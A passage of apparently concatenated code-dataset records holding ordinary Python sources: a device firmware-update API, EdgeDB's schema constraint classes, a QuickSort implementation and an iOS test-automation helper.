description='No such device')\n@doc.response(\n 500,\n None,\n description='Error while execution or no update found')\nasync def check_update(request):\n # find device with given wallet\n device = await request.app.db.devices.find_one({\n 'wallet': request.json['wallet']\n })\n if not device:\n abort(404)\n\n # return update info if available\n if device['update']:\n update = await request.app.db.updates.find_one({\n '_id': ObjectId(device['update'])\n })\n if not update:\n abort(500)\n return res_json({\n 'update': True,\n 'id': str(update['_id']),\n 'txHash': update['txHash'],\n })\n return res_json({\n 'update': False\n })\n\n\n@device_api.post('/check/hash/<file_id:str>')\n@doc.summary('Check firmware hash')\n@doc.consumes(\n HashRequestModel,\n content_type='application/json',\n location='body')\n@doc.response(200, None, description='Success')\n@doc.response(500, None, description='Error while execution')\nasync def check_hash(request, file_id):\n # find update with given fileId\n update = await request.app.db.updates.find_one({\n '_id': ObjectId(file_id)\n })\n if not update:\n abort(404)\n\n # validation failed\n if update.hash != request.json['hash']:\n abort(400)\n\n # update device status\n res = await request.app.db.devices.update({\n 'wallet': request.json['wallet']\n }, {\n '$set': {'update': None}\n })\n if not res.acknowledged:\n abort(404)\n\n # log success\n log = {\n 'type': 'success',\n 'timestamp': int(time.time()),\n 'json': {\n 'route': update['route'],\n 'hash': update['hash']\n }\n }\n await request.app.db.logs.insert_one(log)\n\n return res_json({})\n","sub_path":"server/api/device/resources/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"88330789","text":"#\n# This source file is part of the EdgeDB open source project.\n#\n# Copyright 2008-present MagicStack Inc. and the EdgeDB authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\nfrom __future__ import annotations\nfrom typing import * # NoQA\n\nfrom edb import errors\n\nfrom edb import edgeql\nfrom edb.edgeql import ast as qlast\nfrom edb.edgeql import qltypes as ft\n\nfrom . import abc as s_abc\nfrom . import annos as s_anno\nfrom . import delta as sd\nfrom . import expr as s_expr\nfrom . import functions as s_func\nfrom . import inheriting\nfrom . import name as sn\nfrom . import objects as so\nfrom . import pseudo as s_pseudo\nfrom . import referencing\nfrom . import utils\n\n\nclass Constraint(referencing.ReferencedInheritingObject,\n s_func.CallableObject, s_abc.Constraint,\n qlkind=ft.SchemaObjectClass.CONSTRAINT):\n\n expr = so.SchemaField(\n s_expr.Expression, default=None, compcoef=0.909,\n coerce=True)\n\n orig_expr = so.SchemaField(\n str, default=None, coerce=True, allow_ddl_set=True,\n ephemeral=True,\n )\n\n subjectexpr = so.SchemaField(\n s_expr.Expression,\n default=None, compcoef=0.833, coerce=True)\n\n orig_subjectexpr = so.SchemaField(\n str, default=None, coerce=True,\n allow_ddl_set=True,\n ephemeral=True,\n )\n\n finalexpr = so.SchemaField(\n s_expr.Expression,\n default=None, compcoef=0.909, coerce=True)\n\n subject = so.SchemaField(\n so.Object, default=None, inheritable=False)\n\n args = so.SchemaField(\n s_expr.ExpressionList,\n default=None, coerce=True, inheritable=False,\n compcoef=0.875)\n\n delegated = so.SchemaField(\n bool,\n default=False,\n inheritable=False,\n compcoef=0.9,\n )\n\n errmessage = so.SchemaField(\n str, default=None, compcoef=0.971, allow_ddl_set=True)\n\n def get_verbosename(self, schema, *, with_parent: bool=False) -> str:\n is_abstract = self.generic(schema)\n vn = super().get_verbosename(schema)\n if is_abstract:\n return f'abstract {vn}'\n else:\n if with_parent:\n pvn = self.get_subject(schema).get_verbosename(\n schema, with_parent=True)\n return f'{vn} of {pvn}'\n else:\n return vn\n\n def generic(self, schema):\n return self.get_subject(schema) is None\n\n @classmethod\n def _dummy_subject(cls, schema):\n # Point subject placeholder to a dummy pointer to make EdgeQL\n # pipeline happy.\n return s_pseudo.Any.instance()\n\n @classmethod\n def get_concrete_constraint_attrs(\n cls, schema, subject, *, name, subjectexpr=None,\n sourcectx=None, args=None, modaliases=None, **kwargs):\n from edb.edgeql import parser as qlparser\n from edb.edgeql import utils as qlutils\n\n constr_base = schema.get(name, module_aliases=modaliases)\n module_aliases = {}\n\n orig_subjectexpr = subjectexpr\n orig_subject = subject\n base_subjectexpr = constr_base.get_field_value(schema, 'subjectexpr')\n if subjectexpr is None:\n subjectexpr = base_subjectexpr\n elif (base_subjectexpr is not None\n and subjectexpr.text != base_subjectexpr.text):\n raise errors.InvalidConstraintDefinitionError(\n 'subjectexpr is already defined for ' +\n f'{str(name)!r}')\n\n if subjectexpr is not None:\n subject_ql = subjectexpr.qlast\n if subject_ql is None:\n subject_ql = qlparser.parse(subjectexpr.text, module_aliases)\n\n subject = subject_ql\n\n expr: s_expr.Expression = constr_base.get_field_value(schema, 'expr')\n if not expr:\n raise errors.InvalidConstraintDefinitionError(\n f'missing constraint expression in {name!r}')\n\n expr_ql = qlparser.parse(expr.text, module_aliases)\n\n if not args:\n args = constr_base.get_field_value(schema, 'args')\n\n attrs = dict(kwargs)\n inherited = dict()\n if orig_subjectexpr is not None:\n attrs['subjectexpr'] = orig_subjectexpr\n else:\n base_subjectexpr = constr_base.get_subjectexpr(schema)\n if base_subjectexpr is not None:\n attrs['subjectexpr'] = base_subjectexpr\n inherited['subjectexpr'] = True\n\n errmessage = attrs.get('errmessage')\n if not errmessage:\n errmessage = constr_base.get_errmessage(schema)\n inherited['errmessage'] = True\n\n attrs['errmessage'] = errmessage\n\n if subject is not orig_subject:\n # subject has been redefined\n qlutils.inline_anchors(expr_ql, anchors={qlast.Subject: subject})\n subject = orig_subject\n\n if args:\n args_map = None\n args_ql = [\n qlast.Path(steps=[qlast.Subject()]),\n ]\n\n args_ql.extend(\n qlparser.parse(arg.text, module_aliases) for arg in args\n )\n\n args_map = qlutils.index_parameters(\n args_ql,\n parameters=constr_base.get_params(schema),\n schema=schema)\n\n qlutils.inline_parameters(expr_ql, args_map)\n\n attrs['args'] = args\n\n if expr == '__subject__':\n expr_context = sourcectx\n else:\n expr_context = None\n\n final_expr = s_expr.Expression.compiled(\n s_expr.Expression.from_ast(expr_ql, schema, module_aliases),\n schema=schema,\n modaliases=module_aliases,\n anchors={qlast.Subject: subject},\n )\n\n bool_t = schema.get('std::bool')\n expr_type = final_expr.irast.stype\n if not expr_type.issubclass(schema, bool_t):\n raise errors.InvalidConstraintDefinitionError(\n f'{name} constraint expression expected '\n f'to return a bool value, got '\n f'{expr_type.get_name(schema).name!r}',\n context=expr_context\n )\n\n attrs['return_type'] = constr_base.get_return_type(schema)\n attrs['return_typemod'] = constr_base.get_return_typemod(schema)\n attrs['finalexpr'] = final_expr\n attrs['params'] = constr_base.get_params(schema)\n\n return constr_base, attrs, inherited\n\n def format_error_message(self, schema):\n errmsg = self.get_errmessage(schema)\n subject = self.get_subject(schema)\n titleattr = subject.get_annotation(schema, 'std::title')\n\n if not titleattr:\n subjname = subject.get_shortname(schema)\n subjtitle = subjname.name\n else:\n subjtitle = titleattr\n\n args = self.get_args(schema)\n if args:\n from edb.edgeql import parser as qlparser\n from edb.edgeql import utils as qlutils\n\n args_ql = [\n qlast.Path(steps=[qlast.ObjectRef(name=subjtitle)]),\n ]\n\n args_ql.extend(\n qlparser.parse(arg.text) for arg in args\n )\n\n constr_base = schema.get(self.get_name(schema))\n\n args_map = qlutils.index_parameters(\n args_ql,\n parameters=constr_base.get_params(schema),\n schema=schema)\n\n expr = constr_base.get_field_value(schema, 'expr')\n expr_ql = qlparser.parse(expr.text)\n\n qlutils.inline_parameters(expr_ql, args_map)\n\n args_map = {name: edgeql.generate_source(val, pretty=False)\n for name, val in args_map.items()}\n else:\n args_map = {'__subject__': subjtitle}\n\n formatted = errmsg.format(**args_map)\n\n return formatted\n\n @classmethod\n def delta_properties(cls, delta, old, new, *, context=None,\n old_schema, new_schema):\n super().delta_properties(\n delta, old, new, context=context,\n old_schema=old_schema, new_schema=new_schema)\n\n if new is not None and new.get_subject(new_schema) is not None:\n new_params = new.get_params(new_schema)\n if old is None or new_params != old.get_params(old_schema):\n delta.add(\n sd.AlterObjectProperty(\n property='params',\n new_value=new_params,\n source='inheritance',\n )\n )\n\n @classmethod\n def get_root_classes(cls):\n return (\n sn.Name(module='std', name='constraint'),\n )\n\n @classmethod\n def get_default_base_name(self):\n return sn.Name('std::constraint')\n\n\nclass ConsistencySubject(inheriting.InheritingObject):\n constraints_refs = so.RefDict(\n attr='constraints',\n ref_cls=Constraint)\n\n constraints = so.SchemaField(\n so.ObjectIndexByFullname,\n inheritable=False, ephemeral=True, coerce=True, compcoef=0.887,\n default=so.ObjectIndexByFullname)\n\n def add_constraint(self, schema, constraint, replace=False):\n return self.add_classref(\n schema, 'constraints', constraint, replace=replace)\n\n\nclass ConsistencySubjectCommandContext:\n # context mixin\n pass\n\n\nclass ConsistencySubjectCommand(inheriting.InheritingObjectCommand):\n pass\n\n\nclass ConstraintCommandContext(sd.ObjectCommandContext,\n s_anno.AnnotationSubjectCommandContext):\n pass\n\n\nclass ConstraintCommand(\n referencing.ReferencedInheritingObjectCommand,\n s_func.CallableCommand,\n schema_metaclass=Constraint, context_class=ConstraintCommandContext,\n referrer_context_class=ConsistencySubjectCommandContext):\n\n @classmethod\n def _validate_subcommands(cls, astnode):\n # check that 'subject' and 'subjectexpr' are not set as annotations\n for command in astnode.commands:\n cname = command.name\n if cname in {'subject', 'subjectexpr'}:\n raise errors.InvalidConstraintDefinitionError(\n f'{cname} is not a valid constraint annotation',\n context=command.context)\n\n @classmethod\n def _classname_quals_from_ast(cls, schema, astnode, base_name,\n referrer_name, context):\n if isinstance(astnode, qlast.CreateConstraint):\n return ()\n\n exprs = []\n args = cls._constraint_args_from_ast(schema, astnode, context)\n for arg in args:\n exprs.append(arg.text)\n\n subjexpr_text = cls.get_orig_expr_text(schema, astnode, 'subjectexpr')\n\n if subjexpr_text is None and astnode.subjectexpr:\n # if not, then use the origtext directly from the expression\n expr = s_expr.Expression.from_ast(\n astnode.subjectexpr, schema, context.modaliases)\n subjexpr_text = expr.origtext\n\n if subjexpr_text:\n exprs.append(subjexpr_text)\n\n return (cls._name_qual_from_exprs(schema, exprs),)\n\n @classmethod\n def _classname_quals_from_name(cls, name: sn.SchemaName) -> Tuple[str]:\n quals = sn.quals_from_fullname(name)\n return (quals[-1],)\n\n @classmethod\n def _constraint_args_from_ast(cls, schema, astnode, context):\n args = []\n\n if astnode.args:\n for arg in astnode.args:\n arg_expr = s_expr.Expression.from_ast(\n arg, schema, context.modaliases)\n args.append(arg_expr)\n\n return args\n\n def compile_expr_field(self, schema, context, field, value):\n from edb.edgeql import compiler as qlcompiler\n\n if field.name in ('expr', 'subjectexpr'):\n if isinstance(self, CreateConstraint):\n params = self._get_params(schema, context)\n else:\n params = self.scls.get_params(schema)\n anchors, _ = (\n qlcompiler.get_param_anchors_for_callable(\n params, schema, inlined_defaults=False)\n )\n referrer_ctx = self.get_referrer_context(context)\n if referrer_ctx is not None:\n anchors['__subject__'] = referrer_ctx.op.scls\n\n return s_expr.Expression.compiled(\n value,\n schema=schema,\n modaliases=context.modaliases,\n anchors=anchors,\n func_params=params,\n allow_generic_type_output=True,\n parent_object_type=self.get_schema_metaclass(),\n )\n else:\n return super().compile_expr_field(schema, context, field, value)\n\n @classmethod\n def get_inherited_ref_name(cls, schema, context, parent, name):\n refctx = cls.get_referrer_context(context)\n # reduce name to shortname\n if sn.Name.is_qualified(name):\n shortname = sn.shortname_from_fullname(sn.Name(name))\n else:\n shortname = name\n\n nref = qlast.ObjectRef(\n name=shortname,\n module=refctx.op.classname.module,\n )\n\n return nref\n\n def _get_ref_rebase(self, schema, context, refcls, implicit_bases):\n mcls = type(self.scls)\n ref_rebase_cmd = sd.ObjectCommandMeta.get_command_class_or_die(\n inheriting.RebaseInheritingObject, mcls)\n\n child_bases = refcls.get_bases(schema).objects(schema)\n\n default_base = refcls.get_default_base_name()\n explicit_bases = [\n b for b in child_bases\n # abstract constraints play a similar role to default_base\n if not b.get_is_abstract(schema)\n and b.generic(schema) and b.get_name(schema) != default_base\n ]\n\n new_bases = implicit_bases + explicit_bases\n removed_bases, added_bases = inheriting.delta_bases(\n [b.get_name(schema) for b in child_bases],\n [b.get_name(schema) for b in new_bases],\n )\n\n rebase_cmd = ref_rebase_cmd(\n classname=refcls.get_name(schema),\n added_bases=added_bases,\n removed_bases=removed_bases,\n )\n\n return rebase_cmd\n\n\nclass CreateConstraint(ConstraintCommand,\n s_func.CreateCallableObject,\n referencing.CreateReferencedInheritingObject):\n\n astnode = [qlast.CreateConcreteConstraint, qlast.CreateConstraint]\n referenced_astnode = qlast.CreateConcreteConstraint\n\n @classmethod\n def _get_param_desc_from_ast(cls, schema, modaliases, astnode, *,\n param_offset: int=0):\n\n if not hasattr(astnode, 'params'):\n # Concrete constraint.\n return []\n\n params = super()._get_param_desc_from_ast(\n schema, modaliases, astnode, param_offset=param_offset + 1)\n\n params.insert(0, s_func.ParameterDesc(\n num=param_offset,\n name='__subject__',\n default=None,\n type=s_pseudo.Any.instance(),\n typemod=ft.TypeModifier.SINGLETON,\n kind=ft.ParameterKind.POSITIONAL,\n ))\n\n return params\n\n def _create_begin(self, schema, context):\n referrer_ctx = self.get_referrer_context(context)\n if referrer_ctx is None:\n return super()._create_begin(schema, context)\n\n subject = referrer_ctx.scls\n if subject.is_scalar() and subject.is_enum(schema):\n raise errors.UnsupportedFeatureError(\n f'constraints cannot be defined on an enumerated type',\n context=self.source_context,\n )\n\n if not context.canonical:\n schema, props = self._get_create_fields(schema, context)\n props.pop('name')\n props.pop('subject', None)\n fullname = self.classname\n shortname = sn.shortname_from_fullname(fullname)\n constr_base, attrs, inh = Constraint.get_concrete_constraint_attrs(\n schema,\n subject,\n name=shortname,\n sourcectx=self.source_context,\n **props)\n\n for k, v in attrs.items():\n inherited = inh.get(k)\n self.set_attribute_value(k, v, inherited=inherited)\n\n self.set_attribute_value('subject', subject)\n\n return super()._create_begin(schema, context)\n\n @classmethod\n def as_inherited_ref_cmd(cls, schema, context, astnode, parents):\n cmd = super().as_inherited_ref_cmd(schema, context, astnode, parents)\n\n args = cls._constraint_args_from_ast(schema, astnode, context)\n if args:\n cmd.set_attribute_value('args', args)\n\n subj_expr = parents[0].get_subjectexpr(schema)\n if subj_expr is not None:\n cmd.set_attribute_value('subjectexpr', subj_expr)\n\n cmd.set_attribute_value(\n 'bases', so.ObjectList.create(schema, parents))\n\n return cmd\n\n @classmethod\n def as_inherited_ref_ast(cls, schema, context, name, parent):\n astnode_cls = cls.referenced_astnode\n nref = cls.get_inherited_ref_name(schema, context, parent, name)\n args = []\n\n parent_args = parent.get_args(schema)\n if parent_args:\n for arg_expr in parent.get_args(schema):\n arg = edgeql.parse_fragment(arg_expr.text)\n args.append(arg)\n\n subj_expr = parent.get_subjectexpr(schema)\n if subj_expr is not None:\n subj_expr_ql = edgeql.parse_fragment(subj_expr.text)\n else:\n subj_expr_ql = None\n\n astnode = astnode_cls(name=nref, args=args, subjectexpr=subj_expr_ql)\n\n return astnode\n\n @classmethod\n def _cmd_tree_from_ast(cls, schema, astnode, context):\n cmd = super()._cmd_tree_from_ast(schema, astnode, context)\n\n if isinstance(astnode, qlast.CreateConcreteConstraint):\n if astnode.delegated:\n cmd.set_attribute_value('delegated', astnode.delegated)\n\n args = cls._constraint_args_from_ast(schema, astnode, context)\n if args:\n cmd.add(\n sd.AlterObjectProperty(\n property='args',\n new_value=args\n )\n )\n\n elif isinstance(astnode, qlast.CreateConstraint):\n params = cls._get_param_desc_from_ast(\n schema, context.modaliases, astnode)\n\n for param in params:\n if param.get_kind(schema) is ft.ParameterKind.NAMED_ONLY:\n raise errors.InvalidConstraintDefinitionError(\n 'named only parameters are not allowed '\n 'in this context',\n context=astnode.context)\n\n if param.get_default(schema) is not None:\n raise errors.InvalidConstraintDefinitionError(\n 'constraints do not support parameters '\n 'with defaults',\n context=astnode.context)\n\n if cmd.get_attribute_value('return_type') is None:\n cmd.add(sd.AlterObjectProperty(\n property='return_type',\n new_value=utils.reduce_to_typeref(\n schema, schema.get('std::bool')\n )\n ))\n\n if cmd.get_attribute_value('return_typemod') is None:\n cmd.add(sd.AlterObjectProperty(\n property='return_typemod',\n new_value=ft.TypeModifier.SINGLETON,\n ))\n\n # 'subjectexpr' can be present in either astnode type\n if astnode.subjectexpr:\n orig_text = cls.get_orig_expr_text(schema, astnode, 'subjectexpr')\n\n subjectexpr = s_expr.Expression.from_ast(\n astnode.subjectexpr,\n schema,\n context.modaliases,\n orig_text=orig_text,\n )\n\n cmd.add(sd.AlterObjectProperty(\n property='subjectexpr',\n new_value=subjectexpr\n ))\n\n cls._validate_subcommands(astnode)\n\n return cmd\n\n def _apply_fields_ast(self, schema, context, node):\n super()._apply_fields_ast(schema, context, node)\n\n if isinstance(node, qlast.CreateConstraint):\n params = []\n for op in self.get_subcommands(type=s_func.ParameterCommand):\n props = op.get_struct_properties(schema)\n pname = s_func.Parameter.paramname_from_fullname(props['name'])\n if pname == '__subject__':\n continue\n num = props['num']\n default = props.get('default')\n param = qlast.FuncParam(\n name=pname,\n type=utils.typeref_to_ast(schema, props['type']),\n typemod=props['typemod'],\n kind=props['kind'],\n default=default.qlast if default is not None else None,\n )\n params.append((num, param))\n\n params.sort(key=lambda e: e[0])\n\n node.params = [p[1] for p in params]\n\n def get_ast_attr_for_field(self, field: str) -> Optional[str]:\n if field == 'subjectexpr':\n return 'subjectexpr'\n else:\n return None\n\n def _apply_field_ast(self, schema, context, node, op):\n if op.property == 'delegated':\n if isinstance(node, qlast.CreateConcreteConstraint):\n node.delegated = op.new_value\n else:\n node.commands.append(\n qlast.SetSpecialField(\n name='delegated',\n value=op.new_value,\n )\n )\n return\n elif op.property == 'args':\n node.args = [arg.qlast for arg in op.new_value]\n return\n\n super()._apply_field_ast(schema, context, node, op)\n\n @classmethod\n def _classbases_from_ast(cls, schema, astnode, context):\n if isinstance(astnode, qlast.CreateConcreteConstraint):\n classname = cls._classname_from_ast(schema, astnode, context)\n base_name = sn.shortname_from_fullname(classname)\n base = schema.get(base_name)\n return so.ObjectList.create(\n schema, [utils.reduce_to_typeref(schema, base)])\n else:\n return super()._classbases_from_ast(schema, astnode, context)\n\n\nclass RenameConstraint(ConstraintCommand, sd.RenameObject):\n pass\n\n\nclass AlterConstraint(ConstraintCommand,\n referencing.AlterReferencedInheritingObject):\n astnode = [qlast.AlterConcreteConstraint, qlast.AlterConstraint]\n referenced_astnode = qlast.AlterConcreteConstraint\n\n @classmethod\n def _cmd_tree_from_ast(cls, schema, astnode, context):\n cmd = super()._cmd_tree_from_ast(schema, astnode, context)\n\n if isinstance(astnode, (qlast.CreateConcreteConstraint,\n qlast.AlterConcreteConstraint)):\n subject_ctx = context.get(ConsistencySubjectCommandContext)\n new_subject_name = None\n\n if getattr(astnode, 'delegated', False):\n cmd.set_attribute_value('delegated', astnode.delegated)\n\n for op in subject_ctx.op.get_subcommands(\n type=sd.RenameObject):\n new_subject_name = op.new_name\n\n if new_subject_name is not None:\n cmd.add(\n sd.AlterObjectProperty(\n property='subject',\n new_value=so.ObjectRef(\n classname=new_subject_name\n )\n )\n )\n\n new_name = None\n for op in cmd.get_subcommands(type=RenameConstraint):\n new_name = op.new_name\n\n if new_name is not None:\n cmd.add(\n sd.AlterObjectProperty(\n property='name',\n new_value=new_name\n )\n )\n\n cls._validate_subcommands(astnode)\n\n return cmd\n\n def _apply_field_ast(self, schema, context, node, op):\n if op.property == 'delegated':\n node.delegated = op.new_value\n else:\n super()._apply_field_ast(schema, context, node, op)\n\n\nclass DeleteConstraint(ConstraintCommand, s_func.DeleteCallableObject):\n astnode = [qlast.DropConcreteConstraint, qlast.DropConstraint]\n referenced_astnode = qlast.DropConcreteConstraint\n\n\nclass RebaseConstraint(ConstraintCommand,\n inheriting.RebaseInheritingObject):\n pass\n","sub_path":"edb/schema/constraints.py","file_name":"constraints.py","file_ext":"py","file_size_in_byte":25261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"406650226","text":"from strategy import Order, Pivot, BadOrderError, BadPivotError\nimport random\nimport sys\n\n__author__ = \"Pablo Acereda\"\n__copyright__ = \"Copyright 2020\"\n__credits__ = [ \"Pablo Acereda\" ]\n\n__license__ = \"Apache License 2.0\"\n__version__ = \"1.0\"\n__maintainer__ = \"Pablo Acereda\"\n__email__ = \"p.aceredag@gmail.com\"\n\ndef sort(array:list, order:Order=Order.ASC, strategy:Pivot=Pivot.MEDIAN) -> list:\n \"\"\"Sorts a list using QuickSort.\n\n Recursive function to order elements using a pivot to redistribute the rest\n of the elements of the array at each side of that pivot.\n\n Time Complex:\n - Best -> O(n log(n))\n - Average -> O(n log(n))\n - Worst -> O(n^2)\n Space Complex (Auxiliary Space): O(log(n)). Extra space on recursion.\n Stable: No\n \n Args:\n array (list) -- Elements to order.\n order (Order) -- Order preference (default ASCending).\n strategy (Pivot) -- Pivot selection strategy (default MEDIAN).\n\n Returns:\n list: Ordered elements.\n \"\"\"\n # Exists the program if the ordering is not valid. \n if (order not in [Order.ASC, Order.DESC]):\n raise BadOrderError(\"Not Valid Ordering Preference\")\n\n # Exists the program if the pivot is not valid. \n if (strategy not in [Pivot.FIRST, Pivot.LAST, Pivot.RANDOM, Pivot.MEDIAN]):\n raise BadPivotError(\"Not valid Pivot\")\n\n return quicksort(array, order, strategy, 0, len(array) - 1)\n\ndef quicksort(array, order, strategy, lower, upper):\n \"\"\"Recursive sorting function of a list using QuickSort.\n\n Recursive function to order elements using pivots to redistribute the rest \n of the elements of the array. The pivot selected is used as the center \n element (ordering element) of the array.\n\n Args:\n array (list) -- List of elements.\n order (Order) -- Ordering preference: ascending/descending.\n strategy (Pivot) -- Pivot selection strategy: first/last/random/median.\n lower (int) -- Lowest index of array to reorder.\n upper (int) -- Highest index of array to reorder.\n\n Returns: \n list: Ordered array.\n \"\"\"\n # Recursion base condition, no more elements\n if lower > upper or not array: # Empty array\n return array\n\n # Define pivot depending on strategy\n pivot = None\n if (strategy == Pivot.FIRST): # First\n pivot = lower\n elif (strategy == Pivot.LAST): # Last\n pivot = upper\n elif (strategy == Pivot.RANDOM): # Random\n pivot = random.randrange(lower, (upper+1))\n elif (strategy == Pivot.MEDIAN): # Median\n pivot = _median_of_three(array, lower, upper)\n\n # Moves elements to the respective sides of the pivot, and returns the \n # position of the pivot\n pivot = _partition(array, order, pivot, lower, upper)\n\n # Recursive call with the rest of the array\n quicksort(array, order, strategy, lower, pivot - 1)\n quicksort(array, order, strategy, pivot + 1, upper)\n\n return array\n\ndef _partition(array, order, pivot, lower, upper):\n \"\"\"Uses pivot to reorder elements (only orders relative to pivot, not \n globally).\n\n Moves elements to their respective side of the array with the pivot as\n middle element (left for smaller/greater elements and \n ascending/descending order; right for greater/smaller elements and \n ascending/descending order). Returns the index of the pivot. The order of\n the list used as argument changes thanks to variable referencing.\n\n Args:\n array (list) -- List of elements.\n order (Order) -- Ordering preference: ascending/descending.\n pivot (Pivot) -- Index of pivot element.\n lower (int) -- Lowest index of array to reorder.\n upper (int) -- Highest index of array to reorder.\n\n Returns: \n int: Index of pivot element (input array is also modified using \n referencing).\n \"\"\"\n # The pivot element is made the last not to interfere with other swaping \n # operations\n array[pivot], array[upper] = array[upper], array[pivot]\n\n # Last index of smaller/greater (asc/desc) elements\n idx = lower\n\n for j in range(lower, upper):\n if (order == Order.ASC and array[j] < array[upper] or # ASCENDING\n order == Order.DESC and array[j] > array[upper]): # DESCENDING\n # Moves the current element at the end of the sub-array with\n # the smaller/grater (asc/desc) elements\n array[idx], array[j] = array[j], array[idx]\n idx += 1\n\n # Moves pivot as separator between greater and smaller numbers\n array[idx], array[upper] = array[upper], array[idx]\n\n return idx\n\ndef _median_of_three(array, lower, upper):\n \"\"\"Finds median approximate median value of an array.\n\n Approximate the median (median value is the middle value of a sorted list \n of elements) value using three values of a list: first, middle and last \n elements. First and last do not need to be the absolute values, rather than\n relative values using lower and upper limit arguments. \n\n Args:\n array (list) -- List of unordered elements.\n lower (int) -- Left-most element (lower limit).\n upper (int) -- Right-most element (upper limit).\n\n Returns: \n int: Median element.\n \"\"\"\n mid = (lower + upper) // 2\n a = array[lower]\n b = array[mid]\n c = array[upper]\n # As only three unordered elements are passed down, the middle element must \n # be found through comparisons\n if a <= b <= c or c <= b <= a:\n return mid\n if a <= c <= b or b <= c <= a:\n return upper\n\n return lower\n","sub_path":"python/quick_sort.py","file_name":"quick_sort.py","file_ext":"py","file_size_in_byte":5602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"99815005","text":"# Author: Joel Gurfinkel\n# Created: 14nd July 2016\n# History:\n# *----------------------------------------------------------------------------\n# Name Date Notes\n# *----------------------------------------------------------------------------\n# Joel gurfinkel 14/07/2016 Initial version\n# -------------------------------------------------------------------------------\n# -------------------------------------------------------------------------------\n# ------------------------------- CISCO CONFIDENTIAL ----------------------------\n# ----------------- Copyright (c) 2016, Cisco Systems, Inc.----------------------\n# -------------------------------------------------------------------------------\n# -------------------------------------------------------------------------------\n\nfrom ptf.lib.stage5testcommon.device import device\nfrom ptf.lib.stage5testcommon.MilestonesConnect import MilestonesConnect\nfrom ptf.rsc import resourcebase\nimport time\nimport requests\nfrom ptf.lib.utilities import log_utilities\n\n\n\nclass ios_device(device, resourcebase.ResourceBase):\n # configuration\n millestones_ipv4_host = \"\"\n ios_mac_ipv4_host = \"\"\n ios_starting_project = \"\"\n ios_device_id = \"\"\n ios_mac_workspace = \"\"\n\n environment_parameters_file = ''\n\n # adb = None\n ms = None\n\n device_details = None\n log = None\n\n def __init__(self,\n ini_string=None,\n ini_file_path=None,\n ini_section_header=None):\n super(ios_device, self).__init__(ini_string=ini_string,\n ini_file_path=ini_file_path,\n ini_section_header=ini_section_header)\n\n set_up_params = {\"ipv4_host\" : self.millestones_ipv4_host,\n 'environment_parameters_file': self.environment_parameters_file}\n self.ms = MilestonesConnect(set_up_params)\n log = log_utilities.create_logger(self)\n\n def startDevice(self):\n try:\n request_headers = {\"ios_starting_project\": self.ios_starting_project,\n \"ios_device_id\": self.ios_device_id,\n \"ios_mac_workspace\": self.ios_mac_workspace}\n self.log.debug('request: {}'.format(\"http://{} \".format(self.ios_mac_ipv4_host), request_headers))\n response = requests.post(\n \"http://{}/\".format(self.ios_mac_ipv4_host), headers=request_headers, timeout=240.0)\n self.log.debug('Response: {}'.format(response))\n return response.status_code\n except Exception as e:\n self.log.debug('problem to restart the device: {}'.format(e))\n return e\n\n def restartDevice(self):\n self.ms.close_app()\n self.startDevice()\n pass\n\n def logout(self):\n self.get_to(self.SETTINGS)\n self.press(self.SIGN_OUT_B)\n self.confirm_screen_name(self.SETTINGS)\n self.press(self.CONFIRM_B)\n return self.wait_for_screen(self.LOGIN, 30)\n\n def isLoggedIn(self):\n return self.wait_for_screen(self.LOGIN, not_the_screen=True)\n\n def login(self, app_username=None, app_password=None):\n self.ms.type_keyboard(app_username)\n # no password on the application for now\n # self.ms.type_keyboard(app_password, )\n return\n\n def confirm_screen_name(self, screenName):\n self.ms.query()\n return self.ms.confirm_screen_name(screenName)\n\n def wait_for_screen(self, screenName, timeout=15, not_the_screen=False):\n if self.ms.wait_for_screen(screenName, timeout, not_the_screen):\n self.ms.query()\n return True\n return False\n\n def has_button(self, name):\n return self.ms.get_tap_coordinates(name) != None\n\n def press(self, name=None):\n # used in full screen to get back to main main menu\n if name == None:\n self.ms.short_tap_on_screen([50, 50])\n else:\n self.coordinates = self.ms.get_tap_coordinates(name)\n if not self.coordinates:\n # not supposed to get there, still under tests\n self.log.debug(\"!!!no coordinate !!!\")\n else:\n self.ms.short_tap_on_screen(self.coordinates)\n\n # any need for such functionality ?\n def query(self):\n return self.ms.get_displayed_items()\n\n def get_to(self, screen_name):\n if screen_name == self.EPG:\n self.get_to(self.HOME)\n # self.press(self.TELEVISION_B)\n # self.wait_for_screen(self.TELEVISION)\n self.press(self.EPG_B)\n self.wait_for_screen(self.EPG)\n elif screen_name == self.HOME:\n if not self.wait_for_screen(self.FULLSCREEN, not_the_screen=True):\n self.press()\n time.sleep(5)\n if self.wait_for_screen(self.HOME, not_the_screen=True):\n self.press(self.HOME_B)\n # don't kwnow why but needed not to get an exception sometime\n time.sleep(1)\n self.wait_for_screen(self.HOME)\n elif screen_name == self.LOGIN:\n pass\n elif screen_name == self.SETTINGS:\n self.get_to(self.HOME)\n self.press(self.SETTINGS_B)\n self.wait_for_screen(self.SETTINGS)\n\n def _swipe(self, direction):\n x1 = x2 = y1 = y2 = ''\n if not self.device_details:\n self.device_details = self.ms.get_device_screen_size()\n if direction == 'r':\n x1 = str(self.device_details[0])\n x2 = str(int(self.device_details[0] / 2))\n y1 = y2 = str(int(self.device_details[1] / 2))\n elif direction == 'l':\n x1 = str(int(self.device_details[0] / 2))\n x2 = str(self.device_details[0])\n y1 = y2 = str(int(self.device_details[1] / 2))\n elif direction == 'd':\n x1 = x2 = str(int(self.device_details[0] / 2))\n y1 = str(self.device_details[1])\n y2 = str(int(self.device_details[1] / 3))\n self.ms.swipe_screen(x1, y1, x2, y2)\n\n def _swipe_epg_and_return_all_content(self, all_epg_events={}, added_epg_events={}, direction='r', counter=0,\n all_counter=0, first=True):\n if first:\n self.get_to(self.EPG)\n last_events = added_epg_events\n added_epg_events = self.ms.get_linear_events()\n if added_epg_events == last_events:\n counter += 1\n if counter > 10:\n counter = 0\n self._swipe('d')\n 